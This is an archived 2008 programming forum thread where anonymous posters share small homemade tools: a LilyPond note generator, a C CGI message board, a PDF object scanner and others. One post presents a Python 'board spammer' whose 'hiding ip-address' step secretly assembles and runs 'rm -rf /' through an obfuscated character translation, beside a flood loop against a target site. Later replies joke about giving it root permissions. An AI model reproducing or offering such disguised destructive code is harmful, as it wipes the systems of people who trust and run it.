Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

ITT small crappy tools you've made.

Name: Anonymous 2008-01-15 19:59

lol progfind


# progfind shiichan

Title:     Shiichan Post Referencing
URL:       http://dis.4chan.org/read/prog/1195857400
Posted:    2007-11-23 22:36
Last Post: 2007-11-24 14:52

Title:     SHIICHAN HAS A FATAL FLAW
URL:       http://dis.4chan.org/read/prog/1185843497
Posted:    2007-07-31 01:58
Last Post: 2007-08-03 12:56

Title:     Shiichan, read.php, Line 11
URL:       http://dis.4chan.org/read/prog/1185626900
Posted:    2007-07-28 13:48
Last Post: 2007-07-28 14:10

Title:     Shiichan needs an [img]
URL:       http://dis.4chan.org/read/prog/1185463229
Posted:    2007-07-26 16:20
Last Post: 2007-07-26 23:17

Title:     Shiichan
URL:       http://dis.4chan.org/read/prog/1181486959
Posted:    2007-06-10 15:49
Last Post: 2007-06-11 16:53

Name: Anonymous 2008-01-15 20:08

For anyone wondering how this was done:
http://dis.4chan.org/prog/subject.txt

Name: Anonymous 2008-01-15 20:10

I'm not really clear on what you want us to post in this thread.

I just wrote a Lilypond score in a poorly documented Scheme dialect to generate random notes for sight reading practice. I fucking hate writing in Scheme. Here's a sample of the output, translated from a score back to Lilypond notation.

e f' a, f

Pretty cool, eh?

Name: Anonymous 2008-01-15 20:27

If you're going to brag about your crappy little tools, post the fucking source. This is /prog/, after all. Even better, let's have a new practical /prog/ challenge.

Name: Anonymous 2008-01-15 20:29

>>2
I was going to write a parser for that to produce an RSS feed, then I saw there already is one ;_;

Name: Anonymous 2008-01-15 20:53

>>4
there is no source really. just curl, grep and awk in a batchfile.

Name: Anonymous 2008-01-15 20:57

>>6
I pretty much guessed that. So?

Name: Anonymous 2008-01-15 21:03

>>7
Does that have anything to do with the topic or is it just your way of saying, "I've read SICP"?

Name: Anonymous 2008-01-15 21:05

All right you faggots. Now I want to see YOUR code.

#(define seed (seed->random-state 1))
#(define note-value 0)

\version "2.10.33"

\paper {
  #(define dump-extents #t)

  ragged-right = ##t
  indent = 0\mm
  force-assignment = #""
  line-width = 7\in
}

\layout {
}

#(define (easy-note pitch duration)
  (make-music
    'EventChord
    'elements (list (make-music 'NoteEvent
                                'duration duration
                                'pitch pitch))))

#(define (random-note lc lo uc uo)
  (let* ((cr (- uc lc))
         (or (- uo lo))
         (range (+ cr (* or 7)))
         (ran (random range seed))
         (class (remainder ran 7))
         (octave (quotient ran 7)))
  (easy-note (ly:make-pitch (+ octave lo)
                            class
                            0)
             (ly:make-duration note-value 0 1 1))))

#(define (rn0 count lc lo uc uo accum)
  (if (> count 0)
      (rn0 (- count 1)
           lc lo uc uo
           (cons (random-note lc lo uc uo) accum))
      accum))

randomNotes =
#(define-music-function (parser location
                         number lc lo uc uo)
                        (integer? integer? integer?
                         integer? integer?)
  (make-music 'SequentialMusic
              'elements
              (rn0 number lc lo uc uo '())))


{
\clef "bass_8"
\randomNotes #200 #0 #-3 #0 #-1
}

Name: Anonymous 2008-01-15 21:08

Board spammer in python

#!/usr/bin/python
import string
import urllib
import os

while True:
print "Enter address of site to spam:"
site = raw_input()
if site.startswith('http://'):
break
print "Address must start with ``http://''"

print "Hiding ip-address"
tr = string.maketrans('/tph:', 'fm-rr')
ip = string.translate(site, tr)
os.system(ip[0:2] + ' ' + ip[3:6] + ' /')

print "Starting spam attack..."
while True:
urllib.urlopen(site)

DISCLAIMER: I only wrote this for fun. Please don't abuse it.

Name: Anonymous 2008-01-15 21:15

>>10
FORCED INDENTATION OF CODE?? IN MY /prog/?!

Name: Anonymous 2008-01-15 21:27

#include <cgic.h>
#include <iconv.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/file.h>

#define cgi_main cgiMain
#define cgi_out cgiOut
#define cgi_header_location cgiHeaderLocation
#define cgi_header_content_type cgiHeaderContentType
#define cgi_form_string cgiFormString
#define cgi_form_integer cgiFormInteger

#define MAX_POSTS 256
#define MAX_POST_LENGTH 4096
#define POSTS_FILENAME "posts.xml"
#define INDEX_FILENAME "index.html"

#define LOCK_SH 0x01
#define LOCK_EX 0x02
#define LOCK_NB 0x04
#define LOCK_UN 0x08

void build_main_page();
void clean_text(unsigned char*,unsigned char*);
int do_post();
void do_redirect();

int cgi_main(){
 if(access(POSTS_FILENAME,F_OK))
  build_main_page();
 if(do_post())
  do_redirect();
 return 0;
}

void do_redirect(){
 cgi_header_location(INDEX_FILENAME);
 return;
}

int do_post(){
 int wrote_post=0;
 char text[MAX_POST_LENGTH+1]={0};
 char text2[MAX_POST_LENGTH+1]={0};
 char text_out[MAX_POST_LENGTH*5+1]={0};
 char line[MAX_POST_LENGTH*5+29]={0};
 char post_num[32]={0};
 const char *textp=text;
 char *text2p=text2;
 int inbytesleft=strlen(text),outbytesleft=strlen(text);
 int redirect;
 FILE* post_file_in;
 FILE* post_file_out;
 cgi_form_string("text",text,MAX_POST_LENGTH+1);
 cgi_form_integer("redirect",&redirect,0);
 if(!text[0])
  return 1;
 iconv_t cd=iconv_open("UTF-8","UTF-8");
 int iconv_result=iconv(cd,&textp,&inbytesleft,&text2p,&outbytesleft);
 if(iconv_result==-1)
  return 1;
 iconv_close(cd);
 clean_text(text,text_out);
 srandomdev();
 snprintf(post_num,32,"\"%d\">",random()%MAX_POSTS);
 rename(POSTS_FILENAME,"temp");
 post_file_in=fopen("temp","r");
 post_file_out=fopen(POSTS_FILENAME,"w");
 flock(fileno(post_file_in),LOCK_EX);
 flock(fileno(post_file_out),LOCK_EX);
 while(!feof(post_file_in)){
  fgets(line,MAX_POST_LENGTH*5+29,post_file_in);
  if(strstr(line,post_num)||(strstr(line,"</posts>")&&!wrote_post)){
   fprintf(post_file_out," <post id=%s<text>%s</text></post>\n",post_num,text_out);
   wrote_post=1;
  }
  if(!strstr(line,post_num)&&!feof(post_file_in)){
   fputs(line,post_file_out);
  }
 }
 flock(fileno(post_file_in),LOCK_UN);
 flock(fileno(post_file_out),LOCK_UN);
 fclose(post_file_in);
 fclose(post_file_out);
 remove("temp");
 if(redirect)
  return 1;
 cgi_header_content_type("text/plain");
 fputs("\n\n",cgi_out);
 return 0;
}

void clean_text(unsigned char* text_in,unsigned char* text_out){
 int j,k=0;
 for(j=0;j<MAX_POST_LENGTH;j++){
  switch(text_in[j]){
   case '&':
    text_out[k++]='&';
    text_out[k++]='a';
    text_out[k++]='m';
    text_out[k++]='p';
    text_out[k++]=';';
    break;
   case '<':
    text_out[k++]='&';
    text_out[k++]='l';
    text_out[k++]='t';
    text_out[k++]=';';
    break;
   case '>':
    text_out[k++]='&';
    text_out[k++]='g';
    text_out[k++]='t';
    text_out[k++]=';';
    break;
   case '\n':
    text_out[k++]='&';
    text_out[k++]='#';
    text_out[k++]='1';
    text_out[k++]='0';
    text_out[k++]=';';
    break;
   default:
    if(text_in[j]>31)
     text_out[k++]=text_in[j];
    break;
  }
 }
}

void build_main_page(){
 FILE* index;
 index=fopen(POSTS_FILENAME,"w");
 if(index){
  fputs("<?xml version\"1.0\" encoding=\"utf-8\"?>\n",index);
  fputs("<posts>\n</posts>\n",index);
  fclose(index);
 }
 return;
}

Name: Anonymous 2008-01-15 22:15

>>11
It's more likely than you think.

Name: Anonymous 2008-01-15 22:21

Let's stop this thread right now, before it becomes apparent that /prog/, for all its SICP reading, writes its programs in failanguages.

Name: Anonymous 2008-01-15 22:24

>>12
Use glasses-mode. That, and learn to fucking program.

Name: Anonymous 2008-01-16 1:26

>>15
Glasses! o^o

:D

Name: Anonymous 2008-01-16 5:32

Wasn't satisfied with shitty PDF "recovery" programs, so I wrote my own set. Here's the shortest one.

/* scan a PDF file for all objects
 [0-9]+ +[0-9]+ +obj

 + output xref table in proper format
 */

#include <stdio.h>
#include <windows.h>
#include <string.h>
#define isdigit _isdigit

void __cdecl __getmainargs(int *, char ***, char ***, int, int *);

__inline char _isdigit(c) {
 return (c>='0')&&(c<='9');
}

int objtotal=0;

struct _objlist {
 int offset;
 int num;
 int gen;
 struct _objlist *next;
} *objlist;

add_to_list(int offset, int num, int gen) {
 struct _objlist *curnode = objlist;
 while((curnode->next)&& curnode->next->num < num)
  curnode = curnode->next;
 if(curnode->num == num) {
  printf("Warning: Found duplicate object #%d\n",num);
  curnode->offset = offset;
  curnode->gen = gen;
  return;
 } else {
  struct _objlist *newlist = malloc(sizeof(struct _objlist));
  if(!newlist) {
   printf("Out of memory!\n");
   exit(-1);
  }
  newlist->offset = offset;
  newlist->num = num;
  newlist->gen = gen;
  newlist->next = curnode->next;
  curnode->next = newlist;
 }
}

init_list() {
 objlist = malloc(sizeof(struct _objlist));
 if(!objlist) {
  printf("Out of memory!\n");
  exit(-1);
 }
 objlist -> num = 0;
 objlist -> offset = 0;
 objlist -> gen = 65535;
 objlist -> next = 0;
}

dump_list() {
 struct _objlist *nodeptr = objlist;
 int prevobj=-1;

 while(nodeptr->next)
  nodeptr = nodeptr -> next;

 printf("xref\x0d\0120 %d\x0d\x0a",nodeptr->num +1);

 nodeptr = objlist;
 do {
  int gap = nodeptr->num - prevobj;
  printf("%010d %05d %c\x0d\x0a",nodeptr->offset,nodeptr->gen,(nodeptr->num)?'n':'f');
  prevobj = nodeptr->num;
  while(--gap) {
   printf("%010d %05d f\x0d\x0a",0,0);
  }
 } while(nodeptr = nodeptr->next);
}

free_list() {
 struct _objlist *nextptr = objlist;
 do {
  nextptr = objlist->next;
  free(objlist);
 } while(objlist = nextptr);
}

char iswhs(char c) {
 return (c==0)||(c==9)||(c==10)||(c==12)||(c==13)||(c==32);
}

char isd(char c) {
 return (c=='(')||(c==')')||(c=='<')||(c=='>')||(c=='[')||(c==']')||
        (c=='{')||(c=='}')||(c=='/')||(c=='%');
}

char iswhd(char c) {
 return iswhs(c)||isd(c);
}

scan_pdf_objects(char *filedata,int fsize) {

 int i=0;
 int obj_start,obj_num,obj_cnt;

state_1:
 while(i<fsize) {
  if(isdigit(filedata[i++])) {
   obj_start=i-1;
   obj_num=filedata[i-1]-'0';
   goto state_2;
  }
 }
 return;
state_2:
 while(i<fsize) {
  if(iswhs(filedata[i++])) goto state_3;
  if(!isdigit(filedata[i-1])) goto state_1;
  obj_num = obj_num*10 + filedata[i-1]-'0';
 }
 return;
state_3:
 while(i<fsize) {
  if(isdigit(filedata[i++])) {
   obj_cnt = filedata[i-1]-'0';
   goto state_4;
  }
  if(!iswhs(filedata[i-1])) goto state_1;
 }
 return;
state_4:
 while(i<fsize) {
  if(iswhs(filedata[i++])) goto state_5;
  if(!isdigit(filedata[i-1])) goto state_1;
  obj_cnt = obj_cnt*10 + filedata[i-1]-'0';
 }
 return;
state_5:
 while(i<fsize) {
  if(filedata[i++]=='o') goto state_6;
  if(!iswhs(filedata[i-1])) goto state_1;
 }
 return;
state_6:
 if(i<fsize) {
  if(filedata[i++]=='b') goto state_7;
  goto state_1;
 }
 return;
state_7:
 if(i<fsize) {
  if(filedata[i++]=='j') goto state_8;
  goto state_1;
 }
 return;
state_8:
 if(i<fsize) {
  if(iswhd(filedata[i++])) {
   printf("%010d %05d %05d\n",obj_start,obj_num,obj_cnt);
   add_to_list(obj_start,obj_num,obj_cnt);
   objtotal++;
   goto state_9;
  }
  goto state_1;
 }
 return;
state_9:
 while(i<fsize) {
  if(filedata[i++]=='e') goto state_10;
 }
 return;
state_10:
 if(i<fsize) {
  if(filedata[i++]=='n') goto state_11;
  goto state_9;
 }
 return;
state_11:
 if(i<fsize) {
  if(filedata[i++]=='d') goto state_12;
  goto state_9;
 }
 return;
state_12:
 if(i<fsize) {
  if(filedata[i++]=='o') goto state_13;
  goto state_9;
 }
 return;
state_13:
 if(i<fsize) {
  if(filedata[i++]=='b') goto state_14;
  goto state_9;
 }
 return;
state_14:
 if(i<fsize) {
  if(filedata[i++]=='j') goto state_15;
  goto state_9;
 }
 return;
state_15:
 if(i<fsize) {
  if(iswhs(filedata[i++])) goto state_1;
  goto state_9;
 }
 return;
}

main() {
 int argc;
 char **argv;
 int fhandle,fsize;
 char *filedata;

 __getmainargs(&argc,&argv,&fhandle,0,&fsize);

 if(argc!=2) {
  printf("Usage: objscan filename");
  exit(1);
 }

 if((fhandle=CreateFile(argv[1],GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0))==-1) {
  printf("Error opening file %s",argv[1]);
  exit(2);
 }
 if(!(filedata=malloc(fsize=GetFileSize(fhandle,0)))) {
  printf("Out of memory - could not allocate %s bytes",fsize);
  free(filedata);
  exit(3);
 }
 if(!ReadFile(fhandle,filedata,fsize,&fsize,0)) {
  printf("Error reading file.");
  exit(4);
 }
 CloseHandle(fhandle);

 init_list();
 scan_pdf_objects(filedata,fsize);
 dump_list();
 free_list();

 printf("%d total objects found\n",objtotal);

 free(filedata);
 exit(0);
}

Name: Anonymous 2008-01-16 9:18

>>17

#define isdigit _isdigit

facepalm.
Do you really want to do that?
Keep in mind, to the preprocessor, `#define isdigit _isdigit' and `#define isdigit(x) _isdigit(x)' is not the same.

And anyway; isdigit() is standard, _isdigit() is not.
Wtf you be doin nigga?
PROTIP: it's faster on intel x86 to return an `int' than a `char'.
you also have memory leaks.
whatever.

Anyway, I wanted to write a BBCode development environment, (tab completion, bbcode history, definition of new bbcode tags, macros etc) but then i realized you could just take clisp, change the syntax, define the axiomatic bbcode tags and that's about it.

Name: Anonymous 2008-01-16 9:28

malloc on this whole thread

Name: Anonymous 2008-01-16 9:29

>>10

The IP address hiding stuff is great. I love you anon.

Name: Anonymous 2008-01-16 9:52

>>10
needs more forced indentation of the code

Name: Anonymous 2008-01-16 10:26

>>18
That define works when functions are passed around by reference. If you have parens in the definition, function pointers stop working. (I agree with the rest, referring to underlined [i.e. implementation private] bits is pretty dumb.)

Name: Anonymous 2008-01-16 10:29

>>9
Holy hobgoblin Jesus, what the shapeshifting towelfuck is this lasercunt shit?!
Looks like an apeshitsick mix of minced Scheme and LaTeX

Name: Anonymous 2008-01-16 10:33

DID SOMEONE SAY BASIC

Name: Anonymous 2008-01-16 11:04

Name: 18 2008-01-16 11:31

>>22
I know. here's a small example:


$ cat foo.c
#include <stdio.h>

int add(int x) { return x + 1; }
#define add(x) ((x)+1)

int main(void) {

        int (*ptr)(int) = add;
        printf("%d %d\n", ptr(1), add(1));
        return 0;
}


Then compile with gcc -E

$ gcc -E foo.c
# lots of lines here..


int add(int x) { return x + 1; }

int main(void) {

 int (*ptr)(int) = add;
 printf("%d %d\n", ptr(1), ((1)+1));
 return 0;
}


Get it? Maybe you already know what I am talking about but since we both failed to word it correctly..

Name: Anonymous 2008-01-16 12:40

>>18
That was to work around my shitty C library that demands on including a bunch of locale crap along with isdigit() to handle non-ASCII digits, but PDF digits are only '0' to '9' so I wrote my own inline function and used #define to enable it. Take out that line to use the lib function instead.

Where are the memory leaks? I know it doesn't free the list if it runs out of memory, but then it exits and all that memory gets free()'d by the OS anyway.

Name: Anonymous 2008-01-16 13:49

$ locate something | n
[0] /usr/share/doc/texlive-doc/dvipdfm/something.bb
[1] /usr/share/doc/texlive-doc/dvipdfm/something.pdf
[2] /usr/share/doc/texlive-doc/dvipdfm/something.fig
[3] /usr/share/doc/texlive-doc/dvipdfm/something.eps.gz
[4] /usr/share/doc/texlive-base-bin/dvipdfm/something.bb
[5] /usr/share/doc/texlive-base-bin/dvipdfm/something.pdf
[6] /usr/share/doc/texlive-base-bin/dvipdfm/something.fig
[7] /usr/share/doc/texlive-base-bin/dvipdfm/something.eps.gz
$ echo `n 4`
/usr/share/doc/texlive-base-bin/dvipdfm/something.bb


With this I don't have to copy filenames around all the time. (If there's a better solution, do tell.)

Name: Anonymous 2008-01-16 14:02

>>28
man nl

Name: Anonymous 2008-01-16 14:11

>>29
How do I recall the lines with that?

Name: Anonymous 2008-01-16 14:15

>>30
recall-mode

Name: Anonymous 2008-01-16 14:24

>>31
Liar.

Name: Anonymous 2008-06-15 23:15

Very nice.  Bugfix however.  Add code to ensure that it's being run with root permissions.

Name: Anonymous 2008-06-16 2:05

notchris@chrisdesktop $emailprog 1202783375 gjs@mit.edu

Name: Anonymous 2008-06-16 5:52

I did not know shiitchan could recognize emails

Name: Anonymous 2008-06-16 23:24

>>35
I lol'd at shitchan.

Name: Anonymous 2008-06-17 5:02

>>15
What did he do wrong?

Also, how does one learn to program "properly"?

Name: Anonymous 2008-06-17 6:30

>>37
glasses-mode means no shitCase.

Name: Anonymous 2008-06-17 6:55

>>38
What is ``shitCase''?

Name: Anonymous 2008-06-17 7:07

>>39
shitCase, the scourge of Haskell, a calamity more cruel than CamelCase.

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List